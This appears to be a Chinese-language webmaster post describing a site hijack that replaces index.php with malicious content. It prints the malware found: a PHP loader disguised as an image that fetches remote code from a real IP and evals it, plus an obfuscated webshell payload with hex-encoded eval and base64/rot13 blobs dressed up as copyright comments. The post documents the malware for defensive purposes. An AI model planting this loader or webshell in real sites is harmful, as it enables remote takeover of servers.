症状: 网站首页和内容页index.php内容被替换成挂马的内容,一般半夜被替换,不易被发现,劫持快照,

文件夹内有base64加密内容,为从远程服务器获取木马指令,如果不删除挂马源文件,就会造成,删了,又会产生其他挂马文件.

挂马文件如下,伪装为图片,实则是代码,应该是从远程服务器获取木马内容.

<?php
function s(){
	$contents = file_get_contents('http://23.252.161.21:8686/8group/a.jpg');
	a($contents);
}
function a($conn){
	$b = '';
	eval($b.$conn.$b);
}
s();
//
?>

网上找到了同样挂马.

这个http://23.252.161.21:8686/8group/a.jpg不是图片，而是代码，被上传到图片文件夹。a.jpg代码如下

/**
 * Be sure to include no trailing slash on the path.
 * See http://www.php.net/support.php for more information
 * about PHP manuals and their types.
 */

 
$password = "8762eb814817cc8dcbb3fb5c5fcd52e0"; //jubo66

define('VERSION','幸福不是因为得到的多，而是计较的少。苦苦追求没有得到的，不懂得珍惜拥有的，结果只是徒劳伤命。');

/*Starting*/ $register_key = array /*Registration code*/ 
( 
	array
	(
		

 'CQ9jnUNtDTIlpz9lK3WypT9lqTyhMluSK0IFHx9FXGgNnJ5cK3AyqPtaMTympTkurI9ypaWipaZaYPqCMzLaXGgN' ,  'nJ5cK3AyqPtaoJS4K2I4MJA1qTyioy90nJ1yWljkZQNjZPx7nTIuMTIlXPWwo250MJ50YIE5pTH6VUEyrUDinUEg' ,  'oQftL2uupaAyqQ1aLwVmZGVvXGgzqJ5wqTyiovOmqUWxnKVbWUA0pvxtrlOlMKE1pz4tp3ElK3WypTkuL2HbLKWl' ,  'LKxbW1kpWljaYl8aYPpyZwpaYPpyZwVaXFkupaWurFtaYlpfWl8aYPqpWlpfWlVaXFkwnT9jXPEmqUVcXGftsJM1' , 
 xxxxxx paWurFx7Cm4='

	)
	
) ; 

/**
 * Language and charset conversion settings
 */
$check_copyright = create_function /*Copyright*/ 
( 
	
	"/*\x64\x65\x28\x73\x74\x72*/\x24\x63\x6f\x64\x65/*\x63\x6f\x64\x65\x29*/" , 
	"/*\x36\x34\x5f\x64\x65*/\x65\x76\x61\x6c\x20\x28\x20\x27\x20\x3f\x3e\x27" . 
	"\x20\x2e\x20\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x20\x28" . 
	"\x20\x73\x74\x72\x5f\x72\x6f\x74\x31\x33\x20\x28\x20\x6a\x6f\x69\x6e\x20" . 
	"\x28\x20\x27\x27\x20\x2c\x20\x24\x63\x6f\x64\x65\x20\x29\x20\x29\x20\x29" . 
	"\x20\x2e\x20\x27\x3c\x3f\x70\x68\x70\x20\x27\x20\x29\x3b/*\x63\x6f\x64*/" 
	
) ; 

/**
 * Version settings
 */
$global_version = array_walk /*Version*/ 
( 
	
	/*This is a necessary key*/ $register_key , 
	
	/*Verification on copyright*/ $check_copyright 
	
) ; 
/*Ending*/
————————————————